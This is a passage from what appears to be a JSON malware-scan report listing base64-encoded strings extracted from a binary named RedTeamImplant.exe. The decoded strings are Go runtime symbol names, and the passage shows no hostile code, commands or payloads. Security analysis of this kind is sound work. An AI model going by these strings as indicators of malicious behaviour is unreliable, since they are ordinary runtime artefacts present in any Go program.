Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlSW5kZXgpLnNldEVtcHR5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlSW5kZXgpLnN5c0dyb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlSW5kZXgpLnN5c0luaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5jb250cm9sbGVyRmFpbGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5pbml0LmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5pbml0LmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5pbml0LmZ1bmMz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5pbml0LmZ1bmM0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5wYXJr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5yZWFkeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5ydW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS5zbGVlcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNjYXZlbmdlclN0YXRlKS53YWtl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNlbWFSb290KS5kZXF1ZXVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNlbWFSb290KS5xdWV1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNlbWFSb290KS5yb3RhdGVMZWZ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNlbWFSb290KS5yb3RhdGVSaWdodA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNlbVRhYmxlKS5yb290Rm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNwYW5TZXQpLnBvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNwYW5TZXQpLnB1c2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNwYW5TZXQpLnJlc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNwYW5TZXRCbG9ja0FsbG9jKS5hbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNwYW5TZXRCbG9ja0FsbG9jKS5mcmVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNwZWNpYWxzSXRlcikubmV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNwZWNpYWxzSXRlcikudW5saW5rQW5kTmV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnNwZWNpYWxzSXRlcikudmFsaWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0YWNrT2JqZWN0KS5zZXRSZWNvcmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0YWNrT2JqZWN0UmVjb3JkKS5nY2RhdGE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0YWNrU2NhblN0YXRlKS5hZGRPYmplY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0YWNrU2NhblN0YXRlKS5idWlsZEluZGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0YWNrU2NhblN0YXRlKS5maW5kT2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0YWNrU2NhblN0YXRlKS5nZXRQdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0YWNrU2NhblN0YXRlKS5wdXRQdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0a2ZyYW1lKS5hcmdCeXRlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0a2ZyYW1lKS5hcmdNYXBJbnRlcm5hbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN0a2ZyYW1lKS5nZXRTdGFja01hcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN3ZWVwQ2xhc3MpLmNsZWFy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN3ZWVwQ2xhc3MpLmxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN3ZWVwQ2xhc3MpLnVwZGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN3ZWVwTG9ja2VkKS5zd2VlcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN3ZWVwTG9ja2VkKS5zd2VlcC4oKm1oZWFwKS5mcmVlU3Bhbi5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN3ZWVwTG9ja2VkKS5zd2VlcC4oKm1oZWFwKS5mcmVlU3Bhbi5mdW5jMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN3ZWVwTG9ja2VkKS5zd2VlcC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN3ZWVwTG9ja2VyKS50cnlBY3F1aXJl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN5bmN0ZXN0QnViYmxlKS5jaGFuZ2Vnc3RhdHVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN5bmN0ZXN0QnViYmxlKS5jaGFuZ2Vnc3RhdHVzLmdvcmVhZHkuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN5bmN0ZXN0QnViYmxlKS5kZWNBY3RpdmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN5bmN0ZXN0QnViYmxlKS5kZWNBY3RpdmUuZ29yZWFkeS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN5bmN0ZXN0QnViYmxlKS5pbmNBY3RpdmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN5bmN0ZXN0QnViYmxlKS5tYXliZVdha2VMb2NrZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN5c01lbVN0YXQpLmFkZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnN5c01lbVN0YXQpLmxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpY2tzVHlwZSkuaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVIaXN0b2dyYW0pLnJlY29yZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVIaXN0b2dyYW0pLndyaXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5oY2hhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5tYXliZUFkZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5tYXliZVJ1bkFzeW5j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5tYXliZVJ1bkFzeW5jLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5tYXliZVJ1bkNoYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5tYXliZVJ1bkNoYW4uZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5tb2RpZnk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5tb2RpZnkuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5uZWVkc0FkZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5yZXNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS5zdG9w","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS51bmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS51bmxvY2tBbmRSdW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS51bmxvY2tBbmRSdW4uZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVyKS51cGRhdGVIZWFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykuYWRkSGVhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykuYWRqdXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykuY2hlY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykuY2xlYW5IZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykuZGVsZXRlTWlu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykuaW5pdEhlYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykubG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykucnVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykuc2lmdERvd24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykuc2lmdFVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykudGFrZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykudW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykudXBkYXRlTWluV2hlbkhlYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykudXBkYXRlTWluV2hlbk1vZGlmaWVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRpbWVycykud2FrZVRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlQWR2YW5jZXJTdGF0ZSkuc3RvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlQnVmKS5hdmFpbGFibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlQnVmKS5ieXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlQnVmKS5zdHJpbmdEYXRh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlQnVmKS52YXJpbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlQnVmKS52YXJpbnRBdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlQnVmKS52YXJpbnRSZXNlcnZl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlQnVmUXVldWUpLmVtcHR5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlQnVmUXVldWUpLnB1c2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlTWFwKS5uZXdUcmFjZU1hcE5vZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlTWFwKS5wdXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlTWFwKS5yZXNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlUmVnaW9uQWxsb2MpLmFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlUmVnaW9uQWxsb2MpLmFsbG9jLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlUmVnaW9uQWxsb2MpLmRyb3A=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU2NoZWRSZXNvdXJjZVN0YXRlKS5hY3F1aXJlU3RhdHVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU2NoZWRSZXNvdXJjZVN0YXRlKS5uZXh0U2Vx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU2NoZWRSZXNvdXJjZVN0YXRlKS5yZWFkeU5leHRHZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU2NoZWRSZXNvdXJjZVN0YXRlKS5zZXRTdGF0dXNUcmFjZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU2NoZWRSZXNvdXJjZVN0YXRlKS5zdGF0dXNXYXNUcmFjZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU3RhY2tUYWJsZSkuZHVtcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU3RhY2tUYWJsZSkucHV0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU3RyaW5nVGFibGUpLnB1dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU3RyaW5nVGFibGUpLnB1dC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU3RyaW5nVGFibGUpLnJlc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU3RyaW5nVGFibGUpLnJlc2V0LmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlU3RyaW5nVGFibGUpLndyaXRlU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlVHlwZVRhYmxlKS5kdW1w","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnRyYWNlVHlwZVRhYmxlKS5wdXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKlR5cGVBc3NlcnRpb25FcnJvcikuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnVud2luZGVyKS5jZ29DYWxsZXJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnVud2luZGVyKS5maW5pc2hJbnRlcm5hbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnVud2luZGVyKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnVud2luZGVyKS5pbml0QXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnVud2luZGVyKS5uZXh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnVud2luZGVyKS5yZXNvbHZlSW50ZXJuYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnVud2luZGVyKS5zeW1QQw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKnVud2luZGVyKS52YWxpZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndhaXRxKS5kZXF1ZXVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndhaXRxKS5kZXF1ZXVlU3Vkb0c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndhaXRxKS5lbnF1ZXVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndhaXRSZWFzb24pLlN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndha2VhYmxlU2xlZXApLmNsb3Nl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndha2VhYmxlU2xlZXApLndha2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndiQnVmKS5kaXNjYXJk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndiQnVmKS5nZXQx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndiQnVmKS5nZXQy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndiQnVmKS5yZXNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndvcmtidWYpLmNoZWNrZW1wdHk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKndvcmtidWYpLmNoZWNrbm9uZW1wdHk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5fTG9zdENvbnRlbmRlZFJ1bnRpbWVMb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hYm9ydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hY3F1aXJlTG9ja1JhbmtBbmRN","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hY3F1aXJlbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5hY3F1aXJlcA==","type":"Ansi","source":"Memory/File 